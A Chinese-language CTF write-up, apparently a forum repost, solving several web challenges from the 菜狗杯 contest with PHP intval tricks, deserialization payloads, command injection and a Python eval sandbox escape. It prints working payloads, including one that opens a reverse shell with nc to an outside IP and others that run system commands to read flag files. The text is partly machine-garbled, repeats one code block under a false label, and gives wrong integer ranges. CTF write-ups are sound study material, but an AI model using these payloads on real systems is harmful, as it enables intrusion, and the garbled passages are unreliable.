菜狗杯
一言既出
打开标题就是一个朴实无华的php代码
我们分析一下:
需要传入一个num的参数,使num==114514,反面颠末intval转化后要num==1919810,否则直接结束历程
这下就有点难办了,但实在我们只要实在闭合一下这个assert函数,不让这个结束的条件建立就行,payload如下
大概另有一种解法,用了%2B,这是加号+的url编码
当我们输入一下payload- num=114514%2B(1919810-114514)
复制代码 解释一下payload,实在在第一次判定的时候,他的值是114514,这就完成了第一次判定,但是当第二次判定,在intval函数下,他会先举行运算,然后再将结果举行判定,这就完成了payload。
驷马难追
打开标题和上道题一样
唯一不同的就是加了一层waf,比如小写字母,分号,括号不能用,所以这道题我们不能闭合,只能借用谁人url编码,同时利用intval函数的特性去构造payload。
payload如下- num=114514%2B1919810-114514
复制代码
TapTapTap
打开标题是一个小游戏,这真忍不住,上去玩了一下,关键词是LEVEL,这种题都是js小游戏,我们就直接源码找,搜LEVEL
功夫不负有心人,也是找到了一串可疑的base64的代码
解码得到,得知flag在这个路径下面
直接访问这个文件,成功拿到flag
Webshell
打开标题,是php反序列化的题
详细来说这个流程就是- new Webshell()->__construct->__init->exec()
- 最后执行shell_exec($cmd) //shell_exec就是执行系统命令,一般无回显,这里贴心的给你回显了
复制代码 我们打开php在线,去构造一下PHP 在线工具 | 菜鸟工具 (jyshare.com)
构造代码如下:- [/code][code]O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A2%3A%22ls%22%3B%7D
复制代码 然后我们传一下参数看看行不,发现简直可以
留意前面代码,我们不能输入flag,被过滤了,所以这里我们使用通配符*****
这里我们只用把构造代码中的 cmd的值更改一下- O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22cat+f%2A%22%3B%7D
复制代码 传参后发现一片空缺,F12看一下源码,简直在内里
化零为整
打开标题,就是php代码,十分害怕
我们分析一下代码
$_GET,就是担当了多少了多少个参数
if(strlen($_GET[$i])>1)这一部分就是告诉我们,我们每次只能输入一个字符****,汉字是两个字符
我们今后看,result这个变量会拼接我们输入进去的参数
最后当result==“大牛”,才会输出flag
这个时候问题就是我们怎样输入“大牛”,每次只能才气输入一个字符,这里我们就可以url编码,将”大牛“编码一下,一次输入一个字符
然后构造payload:- 1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
复制代码
无一幸免
这道题就是0=? //传啥都行
payload如下
传说之下(雾)
是一个小游戏,小玩一会
应该还是js小游戏,F12直接找,分数用的score,我们直接搜索
我们应该修改这个score的值,然后吃一个豆,他就更新成nowScore,我们找找这个对象名字
找到之后,直接控制台修改,停息修改事后,我们直接回到游戏,吃一个豆,分数就够了,得到flag
算力超群
打开标题就是一个计算器,我们运行一个计算,抓包看看
当我们把number2改为非法的字符串的时候
返回的页面如下所示:
发现路径为 /app/app.py
伤害的函数如下:- result=eval(a + operator +b)
复制代码 搜了一下,可用的方法就是 沙箱逃逸 ,emmmm,完全不懂,那就搜一下
一文看懂Python沙箱逃逸 - FreeBuf网络安全行业门户
[PyJail] python沙箱逃逸探究·总览(HNCTF题解) - 知乎 (zhihu.com)
直接反弹shell- _calculate?number1=1&operator=%2B&number2=1,__import__('os').system('nc 8.130.131.63 1234 -e sh')
复制代码
拿到flag
算力升级(未做出来)
还不会,pass
easyPytHon_P
这道题是给了源码
我们分析一下,我们需要传入两个参数 一个 cmd 一个 param,反面有个命令实行的函数,所以我们需要构造一个命令,用这两个参数,但是 cmd 是有限制的,只能读取三位,分析完毕,我们开始构造payload但是我们传参数始终不对,没有得到我们想要的结果,实在这里又考了flask的传参,实在不是GET传参,而是POST
flask的传参方式
- request.args.get("key") 获取get请求参数
复制代码- request.form.get("key", type=str, default=None) 获取表单数据
- request.values.get("key") 获取所有参数
复制代码 所以这里我们用hackbar POST传参就行了
实在flag没在根目录,就在当前的目录,那我们直接就读取了
遍地飘零
变量覆盖问题CTF中的变量覆盖问题 - My_Dreams - 博客园 (cnblogs.com)
payload
茶歇区
考的是整数溢出,以下是常见的数值范围- uint8 -> 0-255
- uint16 -> 0-65535
- uint32 -> 0-4294967295
- uint36 -> 0-18446744073709551615
- int8 -> -127-128
- int16 -> -32768-32767
- int32 -> -2147483648-2147483647
- int64 -> -9223372036854775808-9223372036854775807
复制代码 让我拿东西得分,我直接弄了很多,直接负数很离谱
我继续这样,就flag了
小舔田?
打开标题就是源码,看的出来是反序列化
先补充魔术方法吧- __construct() //类的构造函数,创建对象时触发
- __destruct() //类的析构函数,对象被销毁时触发
- __call() //在对象上下文中调用不可访问的方法时触发
- __callStatic() //在静态上下文中调用不可访问的方法时触发
- __get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
- __set() //在给不可访问属性赋值时触发
- __isset() //当对不可访问属性调用 isset() 或 empty() 时触发
- __unset() //在不可访问的属性上使用unset()时触发
- __invoke() //当尝试以调用函数的方式调用一个对象时触发
- __sleep() //执行serialize()时,先会调用这个方法
- __wakeup() //执行unserialize()时,先会调用这个方法
- __toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
复制代码 然后我们来构造链子- Moon::wakeup()->Ion_Fan_Princess::tostring()->Ion_Fan_Princess::call
复制代码 分析完毕,打开php在线,开始操作、- <?php
- include "flag.php";
- highlight_file(__FILE__);
- class Moon{
- public function __wakeup(){
- echo "我是".$this->name."快来赏我";
- }
- }
- class Ion_Fan_Princess{
- public $nickname="牛夫人";
- public function call(){
- global $flag;
- if ($this->nickname=="小甜甜"){
- echo $flag;
- }
- }
-
- public function __toString(){
- $this->call();
- }
- }
- $a = new Moon();
- $a->name = new Ion_Fan_Princess();
- $a->name->nickname="小甜甜";
- echo urlencode(serialize($a));
复制代码 然后我们MD5加密一下看一下天生的是什么- <?php
- include "flag.php";
- highlight_file(__FILE__);
- class Moon{
- public function __wakeup(){
- echo "我是".$this->name."快来赏我";
- }
- }
- class Ion_Fan_Princess{
- public $nickname="牛夫人";
- public function call(){
- global $flag;
- if ($this->nickname=="小甜甜"){
- echo $flag;
- }
- }
-
- public function __toString(){
- $this->call();
- }
- }
- $a = new Moon();
- $a->name = new Ion_Fan_Princess();
- $a->name->nickname="小甜甜";
- echo urlencode(serialize($a));
复制代码 然后我们利用pull去实行- ?action=pull&input=1.jpg;ls&1=system("ls /");
复制代码
然后直接查察flag- ?action=pull&input=1.jpg;ls&1=system("cat%20/f*");
复制代码
龙珠NFT(未做出来)
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |